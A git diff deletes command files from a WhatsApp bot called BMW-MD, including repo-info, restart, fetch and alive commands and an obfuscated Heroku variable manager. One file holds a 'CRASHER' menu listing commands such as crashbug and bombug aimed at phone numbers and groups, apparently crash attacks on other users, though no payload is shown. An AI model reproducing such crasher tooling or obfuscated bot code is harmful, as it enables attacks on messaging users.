- const _0x305ae3 = "𝐁𝐌𝐖 𝐌𝐃 𝐆𝐈𝐓𝐇𝐔𝐁 𝐈𝐍𝐅𝐎𝐌𝐄𝐓𝐈𝐎𝐍. \n𝐂𝐑𝐄𝐓𝐄𝐃 𝐁𝐘 𝐈𝐁𝐑𝐀𝐇𝐈𝐌 𝐀𝐃𝐀𝐌𝐒.\n\n𝐒𝐓𝐀𝐑⭐ 𝐓𝐇𝐄 𝐑𝐄𝐏𝐎 𝐓𝐇𝐄𝐍 𝐅𝐎𝐑𝐊🍴\n\n📂 Repository Name: *BMW-MD*\n📝 Last Update: " + _0x33ab65.lastUpdate + "\n👤 Owner: *Ibrahim Adams*\n⭐ Stars: " + _0x33ab65.stars + "\n🍴 Forks: " + _0x33ab65.forks + "\n🌐 Repo: " + _0x54f98d.html_url + "\n⭕ For More Info : https://github.com/IBRAHIM-TECH-AI/IBRAHIM-ADAMS";
- await _0xc5957d.sendMessage(_0x2ad97e, {
- 'image': {
- 'url': "https://telegra.ph/file/17c83719a1b40e02971e4.jpg"
- },
- 'caption': _0x305ae3
- });
- } else {
- console.log("Could not fetch data");
- }
-});
-adams({
- 'nomCom': 'sc',
- 'reaction': '📂',
- 'nomFichier': __filename
-}, async (_0x1f8a03, _0x41191c, _0x8dd7fa) => {
- const _0x21464f = await fetch("https://api.github.com/repos/devibraah/BWM-XMD");
- const _0x3fb866 = await _0x21464f.json();
- if (_0x3fb866) {
- const _0x4bac21 = {
- 'stars': _0x3fb866.stargazers_count,
- 'forks': _0x3fb866.forks_count,
- 'lastUpdate': _0x3fb866.updated_at,
- 'owner': _0x3fb866.owner.login
- };
- const _0x58e2e9 = "𝐁𝐌𝐖 𝐌𝐃 𝐆𝐈𝐓𝐇𝐔𝐁 𝐈𝐍𝐅𝐎𝐌𝐄𝐓𝐈𝐎𝐍. \n𝐂𝐑𝐄𝐓𝐄𝐃 𝐁𝐘 𝐈𝐁𝐑𝐀𝐇𝐈𝐌 𝐀𝐃𝐀𝐌𝐒.\n\n𝐒𝐓𝐀𝐑⭐ 𝐓𝐇𝐄 𝐑𝐄𝐏𝐎 𝐓𝐇𝐄𝐍 𝐅𝐎𝐑𝐊🍴\n\n📂 Repository Name: *BMW-MD*\n📝 Last Update: " + _0x4bac21.lastUpdate + "\n👤 Owner: *Ibrahim Adams*\n⭐ Stars: " + _0x4bac21.stars + "\n🍴 Forks: " + _0x4bac21.forks + "\n🌐 Repo: " + _0x3fb866.html_url + "\n⭕ For More Info : https://github.com/IBRAHIM-TECH-AI/IBRAHIM-ADAMS-INFO\n";
- await _0x41191c.sendMessage(_0x1f8a03, {
- 'image': {
- 'url': "https://telegra.ph/file/17c83719a1b40e02971e4.jpg"
- },
- 'caption': _0x58e2e9
- });
- } else {
- console.log("Could not fetch data");
- }
-});
-adams({
- 'nomCom': 'script',
- 'reaction': '📂',
- 'nomFichier': __filename
-}, async (_0x44e4c9, _0x300ccb, _0x323299) => {
- const _0x10746e = await fetch("https://api.github.com/repos/devibraah/BWM-XMD");
- const _0x40fb34 = await _0x10746e.json();
- if (_0x40fb34) {
- const _0x4777ba = {
- 'stars': _0x40fb34.stargazers_count,
- 'forks': _0x40fb34.forks_count,
- 'lastUpdate': _0x40fb34.updated_at,
- 'owner': _0x40fb34.owner.login
- };
- const _0x338973 = "𝐁𝐌𝐖 𝐌𝐃 𝐆𝐈𝐓𝐇𝐔𝐁 𝐈𝐍𝐅𝐎𝐌𝐄𝐓𝐈𝐎𝐍. \n𝐂𝐑𝐄𝐓𝐄𝐃 𝐁𝐘 𝐈𝐁𝐑𝐀𝐇𝐈𝐌 𝐀𝐃𝐀𝐌𝐒.\n\n𝐒𝐓𝐀𝐑⭐ 𝐓𝐇𝐄 𝐑𝐄𝐏𝐎 𝐓𝐇𝐄𝐍 𝐅𝐎𝐑𝐊🍴\n\n📂 Repository Name: *BMW-MD*\n📝 Last Update: " + _0x4777ba.lastUpdate + "\n👤 Owner: *Ibrahim Adams*\n⭐ Stars: " + _0x4777ba.stars + "\n🍴 Forks: " + _0x4777ba.forks + "\n🌐 Repo: " + _0x40fb34.html_url + "\n⭕ For More Info : https://github.com/IBRAHIM-TECH-AI/IBRAHIM-ADAMS-INFO\n";
- await _0x300ccb.sendMessage(_0x44e4c9, {
- 'image': {
- 'url': "https://telegra.ph/file/17c83719a1b40e02971e4.jpg"
- },
- 'caption': _0x338973
- });
- } else {
- console.log("Could not fetch data");
- }
-});
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
diff --git a/scs/bmweu.js b/scs/bmweu.js
deleted file mode 100644
index 2fe96c4..0000000
--- a/scs/bmweu.js
+++ /dev/null
@@ -1,103 +0,0 @@
-const util = require('util');
-const fs = require('fs-extra');
-const { adams } = require(__dirname + "/../Ibrahim/adams");
-const { format } = require(__dirname + "/../Ibrahim/mesfonctions");
-const os = require("os");
-const moment = require("moment-timezone");
-const s = require(__dirname + "/../config");
-const more = String.fromCharCode(8206)
-const Taphere = more.repeat(4001)
-
-adams({ nomCom: "bugmenu", categorie: "General" }, async (dest, zk, commandeOptions) => {
- let { ms, repondre ,prefixe,nomAuteurMessage,mybotpic} = commandeOptions;
- let { cm } = require(__dirname + "/../Ibrahim//adams");
- var coms = {};
- var mode = "public";
-
- if ((s.MODE).toLocaleLowerCase() != "yes") {
- mode = "private";
- }
-
-
-
-
- cm.map(async (com, index) => {
- if (!coms[com.categorie])
- coms[com.categorie] = [];
- coms[com.categorie].push(com.nomCom);
- });
-
- moment.tz.setDefault("Africa/Nairobi");
-
-// Créer une date et une heure en GMT
-const temps = moment().format('HH:mm:ss');
-const date = moment().format('DD/MM/YYYY');
-
-let infoMsg = `
-┏❏ ⌜ *BMW MD CRASHER* ⌟ ❐
-❐ bug
-❐ crash
-❐ loccrash
-❐ amountbug
-❐ crashbug 254XXXX
-❐ pmbug 254XXXX
-❐ delaybug 254XXXX
-❐ trollybug 254XXXX
-❐ docubug 254XXXX
-❐ unlimitedbug 254XXXX
-❐ bombug 254XXXX
-❐ lagbug 254XXXX
-❐ gcbug
-❐ delaygcbug
-❐ trollygcbug
-❐ laggcbug
-❐ bomgcbug
-❐ unlimitedgcbug
-❐ docugcbug
-
-> ⏲️ *TIME* : ${temps}
-> 📅 *DATE* : ${date} `;
-
-let menuMsg = `
-
-
- 🄱🄼🅆-🄼🄳
-
-
-▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄
-▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄
-▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄
-▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄
-
-> ©Ibrahim Adams projects
-
- `;
-
- var lien = mybotpic();
-
- if (lien.match(/\.(mp4|gif)$/i)) {
- try {
- zk.sendMessage(dest, { video: { url: lien }, caption:infoMsg + menuMsg, footer: "Je suis adams*, déveloper adams Tech" , gifPlayback : true }, { quoted: ms });
- }
- catch (e) {
- console.log("🥵🥵 Menu erreur " + e);
- repondre("🥵🥵 Menu erreur " + e);
- }
-}
-// Vérification pour .jpeg ou .png
-else if (lien.match(/\.(jpeg|png|jpg)$/i)) {
- try {
- zk.sendMessage(dest, { image: { url: lien }, caption:infoMsg + menuMsg, footer: "Je suis *adams*, déveloper adams Tech" }, { quoted: ms });
- }
- catch (e) {
- console.log("🥵🥵 Menu erreur " + e);
- repondre("🥵🥵 Menu erreur " + e);
- }
-}
-else {
-
- repondre(infoMsg + menuMsg);
-
-}
-
-});
diff --git a/scs/bmwf.js b/scs/bmwf.js
deleted file mode 100644
index 4001426..0000000
--- a/scs/bmwf.js
+++ /dev/null
@@ -1,31 +0,0 @@
-const {adams}=require("../Ibrahim/adams")
-
-
-
-
-
-
-
-adams({nomCom:"restart",categorie:"Mods",reaction:"📴"},async(dest,z,com)=>{
-
-
-
-const{repondre,ms,dev,superUser}=com;
-
- if(!superUser)
- {
- return repondre("This command is for owner only");
- }
-
- const {exec}=require("child_process")
-
- repondre("BMW-MD bot Restarting ⏳");
-
- exec("pm2 restart all");
-
-
-
-
-
-
-})
diff --git a/scs/bmwfet.js b/scs/bmwfet.js
deleted file mode 100644
index 55d9d2a..0000000
--- a/scs/bmwfet.js
+++ /dev/null
@@ -1,63 +0,0 @@
-const { adams } = require("../Ibrahim/adams");
-const { default :axios } = require("axios");
-const { mediafireDl } = require("../Ibrahim/dl/Function");
-
-adams({
- nomCom: "fetch",
- categorie: "Search",
- reaction: '🛄',
-}, async (_0x34e935, _0x726ab, _0x295c2d) => {
- const { repondre: _0x356671, arg: _0x3dfafe } = _0x295c2d;
- const urlInput = _0x3dfafe.join(" ");
-
- if (!/^https?:\/\//.test(urlInput)) {
- return _0x356671("Start the *URL* with http:// or https://");
- }
-
- try {
- const url = new URL(urlInput);
- const fetchUrl = `${url.origin}${url.pathname}?${url.searchParams.toString()}`;
- const response = await fetch(fetchUrl);
-
- if (!response.ok) {
- return _0x356671("Failed to fetch the URL. Status: " + response.status + " " + response.statusText);
- }
-
- const contentLength = response.headers.get('content-length');
- if (contentLength && parseInt(contentLength) > 104857600) {
- return _0x356671("Content-Length exceeds the limit: " + contentLength);
- }
-
- const contentType = response.headers.get('content-type');
- console.log('Content-Type:', contentType);
-
- const buffer = Buffer.from(await response.arrayBuffer());
- if (/image\/.*/.test(contentType)) {
- await _0x726ab.sendMessage(_0x34e935, {
- image: { url: fetchUrl },
- caption: "> > *BMW MD*"
- }, { quoted: _0x295c2d.ms });
- } else if (/video\/.*/.test(contentType)) {
- await _0x726ab.sendMessage(_0x34e935, {
- video: { url: fetchUrl },
- caption: "> > *BMW MD*"
- }, { quoted: _0x295c2d.ms });
- } else if (/text|json/.test(contentType)) {
- try {
- const json = JSON.parse(buffer);
- console.log("Parsed JSON:", json);
- _0x356671(JSON.stringify(json, null, 2).slice(0, 10000));
- } catch {
- _0x356671(buffer.toString().slice(0, 10000));
- }
- } else {
- await _0x726ab.sendMessage(_0x34e935, {
- document: { url: fetchUrl },
- caption: "> > *BMW MD*"
- }, { quoted: _0x295c2d.ms });
- }
- } catch (error) {
- console.error("Error fetching data:", error.message);
- _0x356671("Error fetching data: " + error.message);
- }
-});
diff --git a/scs/bmwh.js b/scs/bmwh.js
deleted file mode 100644
index 05ce377..0000000
--- a/scs/bmwh.js
+++ /dev/null
@@ -1,94 +0,0 @@
-const { adams } = require('../Ibrahim/adams');
-const {addOrUpdateDataInAlive , getDataFromAlive} = require('../lib/alive')
-const moment = require("moment-timezone");
-const s = require(__dirname + "/../config");
-
-adams(
- {
- nomCom : 'alive',
- categorie : 'General'
-
- },async (dest,zk,commandeOptions) => {
-
- const {ms , arg, repondre,superUser} = commandeOptions;
-
- const data = await getDataFromAlive();
-
- if (!arg || !arg[0] || arg.join('') === '') {
-
- if(data) {
-
- const {message , lien} = data;
-
-
- var mode = "public";
- if ((s.MODE).toLocaleLowerCase() != "yes") {
- mode = "private";
- }
-
-
-
- moment.tz.setDefault('Etc/GMT');
-
-// Créer une date et une heure en GMT
-const temps = moment().format('HH:mm:ss');
-const date = moment().format('DD/MM/YYYY');
-
- const alivemsg = `
-*Owner* : ${s.OWNER_NAME}
-*Mode* : ${mode}
-*Date* : ${date}
-*Hours(GMT)* : ${temps}
-
- ${message}
-
-
- *BMW-MD-WABOT*`
-
- if (lien.match(/\.(mp4|gif)$/i)) {
- try {
- zk.sendMessage(dest, { video: { url: lien }, caption: alivemsg }, { quoted: ms });
- }
- catch (e) {
- console.log("🥵🥵 Menu erreur " + e);
- repondre("🥵🥵 Menu erreur " + e);
- }
-}
-// Checking for .jpeg or .png
-else if (lien.match(/\.(jpeg|png|jpg)$/i)) {
- try {
- zk.sendMessage(dest, { image: { url: lien }, caption: alivemsg }, { quoted: ms });
- }
- catch (e) {
- console.log("🥵🥵 Menu erreur " + e);
- repondre("🥵🥵 Menu erreur " + e);
- }
-}
-else {
-
- repondre(alivemsg);
-
-}
-
- } else {
- if(!superUser) { repondre("there is no alive for this bot") ; return};
-
- await repondre("You have not yet saved your alive, to do this; enter after alive your message and your image or video link in this context: .alive message;lien");
- repondre("don't do fake thinks :)")
- }
- } else {
-
- if(!superUser) { repondre ("Only the owner can modify the alive") ; return};
-
-
- const texte = arg.join(' ').split(';')[0];
- const tlien = arg.join(' ').split(';')[1];
-
-
-
-await addOrUpdateDataInAlive(texte , tlien)
-
-repondre(' Holla🥴, *BMW-MD BOT* is alive just like you gee. ')
-
-}
- });
diff --git a/scs/bmwhrk.js b/scs/bmwhrk.js
deleted file mode 100644
index 79c1043..0000000
--- a/scs/bmwhrk.js
+++ /dev/null
@@ -1,334 +0,0 @@
-
-const _0x2cf381=_0x5ac8;(function(_0x462270,_0x1b791a){const _0x4348ca=_0x5ac8,_0x1220a5=_0x462270();while(!![]){try{const _0x284f60=-parseInt(_0x4348ca(0x1aa))/0x1*(-parseInt(_0x4348ca(0x19b))/0x2)+parseInt(_0x4348ca(0x181))/0x3*(parseInt(_0x4348ca(0x1c7))/0x4)+-parseInt(_0x4348ca(0x1bb))/0x5*(-parseInt(_0x4348ca(0x1ac))/0x6)+-parseInt(_0x4348ca(0x1b9))/0x7+parseInt(_0x4348ca(0x197))/0x8+-parseInt(_0x4348ca(0x180))/0x9+parseInt(_0x4348ca(0x1c8))/0xa;if(_0x284f60===_0x1b791a)break;else _0x1220a5['push'](_0x1220a5['shift']());}catch(_0x54290a){_0x1220a5['push'](_0x1220a5['shift']());}}}(_0x5439,0x711b0));function _0x5ac8(_0x431fb2,_0x7e63c9){const _0x543944=_0x5439();return _0x5ac8=function(_0x5ac8e9,_0x45054f){_0x5ac8e9=_0x5ac8e9-0x176;let _0x45bda4=_0x543944[_0x5ac8e9];return _0x45bda4;},_0x5ac8(_0x431fb2,_0x7e63c9);}function _0x5439(){const _0x49d674=['stanzaId','utf-8','heroku','patch','insert\x20the\x20variable\x20name\x20in\x20capital\x20letter','description','/apps/','2376648aNdqQw','*\x20=>\x20','../Ibrahim/adams','\x20*BMW\x20VAR\x20SETTINGS*\x20\x0a\x0a','30cBmGRI','HEROKU_APY_KEY','\x0aChoose\x20a\x20variable\x20by\x20replying\x20its\x20number','(((.+)+)+)+$','pm2\x20restart\x20all','setprefix','yes','writeFileSync','toString','log','Only\x20Mods\x20can\x20use\x20this\x20command','*Heroku\x20Vars\x20list\x20*\x0a\x0a','BOT_NAME','*Description*\x20:','Bad\x20format\x20;\x20Exemple\x20of\x20using\x20:\x0asetvar\x20OWNER_NAME=Ibrahim\x20Adams','1403OXNXtI','length','129450lSmuko','/config-vars','Error','HEROKU_APP_NAME','extendedTextMessage','sendMessage','keys','AUTO_DOWNLOAD_STATUS','message','error','key','child_process','get\x20a\x20heroku\x20var','4512963ctyWnK','nom','75RtBWvb','command\x20reserved\x20for\x20bot\x20owner','awaitForMessage','variable\x20refresh\x0a\x20restart\x20in\x20progress....','Please\x20fill\x20in\x20the\x20HEROKU_APP_NAME\x20and\x20HEROKU_APY_KEY\x20environment\x20variables','HEROKU','constructor','setvar','heroku-client','BOT_MENU_LINKS','PUBLIC_MODE','Heroku','28dcWpVB','5850420OIfFjA','map','env','STARTING_BOT_MESSAGE','split','text','warncount','\x20\x20\x20\x20*BMW\x20VAR\x20SETTINGS*\x20\x0a\x0a','join','get\x20all\x20heroku\x20vars','only\x20Mods\x20can\x20use\x20this\x20commande','contextInfo','PRESENCE','set.env','8122779LJoyMK','335883OMNmSx','PM_PERMIT','🚘\x20*','The\x20environment\x20variable\x20description\x20was\x20not\x20found.','-\x20*','Heroku\x20vars\x20are\x20rebooting\x20,\x20Redeploying....','get','edit\x20settings\x20of\x20the\x20bot','readFileSync','WARN_COUNT','variable\x20refresh,\x20restart\x20in\x20progress....','\x0a└──────\x20⋆⋅☆⋅⋆\x20──────┘\x0a\x0aPlease\x20reply\x20on\x20message\x20with\x20the\x20number\x20corresponding\x20to\x20your\x20choice','settings','search','parse'];_0x5439=function(){return _0x49d674;};return _0x5439();}const {adams}=require(_0x2cf381(0x199)),s=require('../config'),fs=require('fs'),dotenv=require('dotenv');function getDescriptionFromEnv(_0x396d52){const _0x291b1f=_0x2cf381;filePath='./app.json';const _0x8c8ee0=fs[_0x291b1f(0x189)](filePath,_0x291b1f(0x191)),_0x1fd930=JSON[_0x291b1f(0x18f)](_0x8c8ee0),_0x30138d=_0x1fd930[_0x291b1f(0x1ca)][_0x396d52];return _0x30138d&&_0x30138d['description']?_0x30138d[_0x291b1f(0x195)]:_0x291b1f(0x184);}adams({'nomCom':_0x2cf381(0x1c2),'categorie':'heroku','description':'set\x20a\x20heroku\x20var'},async(_0x4bdf5a,_0x27ad89,_0x4276d9)=>{const _0x3a29b2=_0x2cf381,{ms:_0x19e904,repondre:_0x111d17,superUser:_0x54ed3b,arg:_0x22f28d}=_0x4276d9;if(!_0x54ed3b){_0x111d17(_0x3a29b2(0x17c));return;};if(s['HEROKU_APP_NAME']==null||s[_0x3a29b2(0x19c)]==null){_0x111d17(_0x3a29b2(0x1bf));return;};if(!_0x22f28d[0x0]||!_0x22f28d['join']('')[_0x3a29b2(0x176)]('=')){_0x111d17(_0x3a29b2(0x1a9));return;};const _0x23f1e4=_0x22f28d[_0x3a29b2(0x17a)]('\x20'),_0x343480=require('heroku-client'),_0x131a18=new _0x343480({'token':s[_0x3a29b2(0x19c)]});let _0x4af6f4='/apps/'+s[_0x3a29b2(0x1af)];await _0x131a18[_0x3a29b2(0x193)](_0x4af6f4+_0x3a29b2(0x1ad),{'body':{[_0x23f1e4[_0x3a29b2(0x176)]('=')[0x0]]:_0x23f1e4['split']('=')[0x1]}}),await _0x111d17(_0x3a29b2(0x186));}),adams({'nomCom':'getallvar','categorie':'heroku','description':_0x2cf381(0x17b)},async(_0x3fcb26,_0x29194c,_0x2fcba8)=>{const _0x4899ac=_0x2cf381,{ms:_0x3b642f,repondre:_0x1378b4,superUser:_0x1677ec,arg:_0x5e7639}=_0x2fcba8;if(!_0x1677ec){_0x1378b4('only\x20mods\x20can\x20use\x20this\x20commande');return;};if(s[_0x4899ac(0x1af)]==null||s[_0x4899ac(0x19c)]==null){_0x1378b4(_0x4899ac(0x1bf));return;};const _0x542360=require('heroku-client'),_0x4cfe44=new _0x542360({'token':s[_0x4899ac(0x19c)]});let _0xde26d4='/apps/'+s[_0x4899ac(0x1af)],_0xceffee=await _0x4cfe44[_0x4899ac(0x187)](_0xde26d4+_0x4899ac(0x1ad)),_0x2e958d=_0x4899ac(0x1a6);for(vr in _0xceffee){_0x2e958d+=_0x4899ac(0x183)+vr+'*\x20'+'=\x20'+_0xceffee[vr]+'\x0a';}_0x1378b4(_0x2e958d);}),adams({'nomCom':'getvar','categorie':_0x2cf381(0x192),'description':_0x2cf381(0x1b8)},async(_0x19935c,_0x68589a,_0x222e7f)=>{const _0xc9d09f=_0x2cf381,{ms:_0x58a77f,repondre:_0x2ce9fc,superUser:_0x57592f,arg:_0x51f6ea}=_0x222e7f;if(!_0x57592f){_0x2ce9fc(_0xc9d09f(0x1a5));return;};if(s[_0xc9d09f(0x1af)]==null||s[_0xc9d09f(0x19c)]==null){_0x2ce9fc('Please\x20fill\x20in\x20the\x20HEROKU_APP_NAME\x20and\x20HEROKU_APY_KEY\x20environment\x20variables');return;};if(!_0x51f6ea[0x0]){_0x2ce9fc(_0xc9d09f(0x194));return;};try{const _0xc2d1ce=require('heroku-client'),_0x2a0369=new _0xc2d1ce({'token':s['HEROKU_APY_KEY']});let _0x46c7e7='/apps/'+s[_0xc9d09f(0x1af)],_0x4aa13d=await _0x2a0369[_0xc9d09f(0x187)](_0x46c7e7+_0xc9d09f(0x1ad));for(vr in _0x4aa13d){if(_0x51f6ea['join']('\x20')===vr)return _0x2ce9fc(vr+'=\x20'+_0x4aa13d[vr]);}}catch(_0x13d485){_0x2ce9fc(_0xc9d09f(0x1ae)+_0x13d485);}}),adams({'nomCom':_0x2cf381(0x18d),'categorie':_0x2cf381(0x1c6),'description':_0x2cf381(0x188)},async(_0x20c0fc,_0x21dcce,_0x4ddcd7)=>{const _0xb18a95=_0x2cf381,{ms:_0x5f2fa3,repondre:_0x3e9d56,superUser:_0x2eab65,auteurMessage:_0x5db4c6}=_0x4ddcd7;if(!_0x2eab65){_0x3e9d56('command\x20reserved\x20for\x20bot\x20owner');return;};let _0x40730a=[{'nom':'AUTO_READ_STATUS','choix':['yes','no']},{'nom':_0xb18a95(0x1b3),'choix':[_0xb18a95(0x1a1),'no']},{'nom':_0xb18a95(0x182),'choix':['yes','no']},{'nom':_0xb18a95(0x1c5),'choix':[_0xb18a95(0x1a1),'no']},{'nom':_0xb18a95(0x1cb),'choix':[_0xb18a95(0x1a1),'no']},{'nom':_0xb18a95(0x17e),'choix':['1','2','3']}];function _0x46b434(_0x2a7b5a,_0x1792dc){const _0x524294=_0xb18a95;if(_0x2a7b5a[_0x524294(0x1ba)]<_0x1792dc[_0x524294(0x1ba)])return-0x1;if(_0x2a7b5a[_0x524294(0x1ba)]>_0x1792dc[_0x524294(0x1ba)])return 0x1;return 0x0;}_0x40730a['sort'](_0x46b434);let _0x9b282b=_0xb18a95(0x19a);for(v=0x0;v<_0x40730a['length'];v++){_0x9b282b+=v+0x1+_0xb18a95(0x185)+_0x40730a[v][_0xb18a95(0x1ba)]+'*\x0a';}_0x9b282b+=_0xb18a95(0x19d);let _0x4f5c13=await _0x21dcce[_0xb18a95(0x1b1)](_0x20c0fc,{'text':_0x9b282b},{'quoted':_0x5f2fa3});console[_0xb18a95(0x1a4)](_0x4f5c13);let _0x1b5321=await _0x21dcce[_0xb18a95(0x1bd)]({'chatJid':_0x20c0fc,'sender':_0x5db4c6,'timeout':0xea60,'filter':_0x264053=>_0x264053['message']['extendedTextMessage']&&_0x264053['message'][_0xb18a95(0x1b0)][_0xb18a95(0x17d)]['stanzaId']==_0x4f5c13['key']['id']&&_0x264053[_0xb18a95(0x1b4)][_0xb18a95(0x1b0)][_0xb18a95(0x177)]>0x0&&_0x264053[_0xb18a95(0x1b4)]['extendedTextMessage'][_0xb18a95(0x177)]<=_0x40730a[_0xb18a95(0x1ab)]}),_0x55093c=_0x1b5321['message'][_0xb18a95(0x1b0)][_0xb18a95(0x177)]-0x1,{nom:_0x4ebc57,choix:_0x3f2d7c}=_0x40730a[_0x55093c],_0x1de135=_0xb18a95(0x179);_0x1de135+='*Name*\x20:'+_0x4ebc57+'\x0a',_0x1de135+=_0xb18a95(0x1a8)+getDescriptionFromEnv(_0x4ebc57)+'\x0a\x0a',_0x1de135+='┌──────\x20⋆⋅☆⋅⋆\x20──────┐\x0a\x0a';for(i=0x0;i<_0x3f2d7c[_0xb18a95(0x1ab)];i++){_0x1de135+='*\x20*'+(i+0x1)+_0xb18a95(0x198)+_0x3f2d7c[i]+'\x0a';}_0x1de135+=_0xb18a95(0x18c);let _0x1e2745=await _0x21dcce[_0xb18a95(0x1b1)](_0x20c0fc,{'text':_0x1de135},{'quoted':_0x1b5321}),_0x31adfe=await _0x21dcce[_0xb18a95(0x1bd)]({'chatJid':_0x20c0fc,'sender':_0x5db4c6,'timeout':0xea60,'filter':_0x49d419=>_0x49d419[_0xb18a95(0x1b4)][_0xb18a95(0x1b0)]&&_0x49d419[_0xb18a95(0x1b4)][_0xb18a95(0x1b0)][_0xb18a95(0x17d)][_0xb18a95(0x190)]==_0x1e2745[_0xb18a95(0x1b6)]['id']&&_0x49d419[_0xb18a95(0x1b4)][_0xb18a95(0x1b0)][_0xb18a95(0x177)]>0x0&&_0x49d419['message'][_0xb18a95(0x1b0)]['text']<=_0x3f2d7c['length']}),_0x516d56=_0x31adfe[_0xb18a95(0x1b4)][_0xb18a95(0x1b0)][_0xb18a95(0x177)]-0x1;if(s[_0xb18a95(0x1c0)]=='no')try{const _0x50b364=dotenv[_0xb18a95(0x18f)](fs[_0xb18a95(0x189)]('set.env',{'encoding':_0xb18a95(0x191)}));_0x50b364[_0x4ebc57]=_0x3f2d7c[_0x516d56];const _0x11753b=Object[_0xb18a95(0x1b2)](_0x50b364)['map'](_0x5ea4c4=>_0x5ea4c4+'='+_0x50b364[_0x5ea4c4])['join']('\x0a');fs[_0xb18a95(0x1a2)](_0xb18a95(0x17f),_0x11753b),_0x3e9d56(_0xb18a95(0x1be));const {exec:_0x4f66a0}=require(_0xb18a95(0x1b7));_0x4f66a0(_0xb18a95(0x19f));}catch(_0x5dda05){console[_0xb18a95(0x1b5)](_0x5dda05),_0x3e9d56('Error');}else{if(s['HEROKU_APP_NAME']==null||s[_0xb18a95(0x19c)]==null){_0x3e9d56(_0xb18a95(0x1bf));return;};const _0x5e9d97=require('heroku-client'),_0xf9f99f=new _0x5e9d97({'token':s[_0xb18a95(0x19c)]});let _0x1dff2a=_0xb18a95(0x196)+s[_0xb18a95(0x1af)];await _0xf9f99f[_0xb18a95(0x193)](_0x1dff2a+_0xb18a95(0x1ad),{'body':{[_0x4ebc57]:_0x3f2d7c[_0x516d56]}}),await 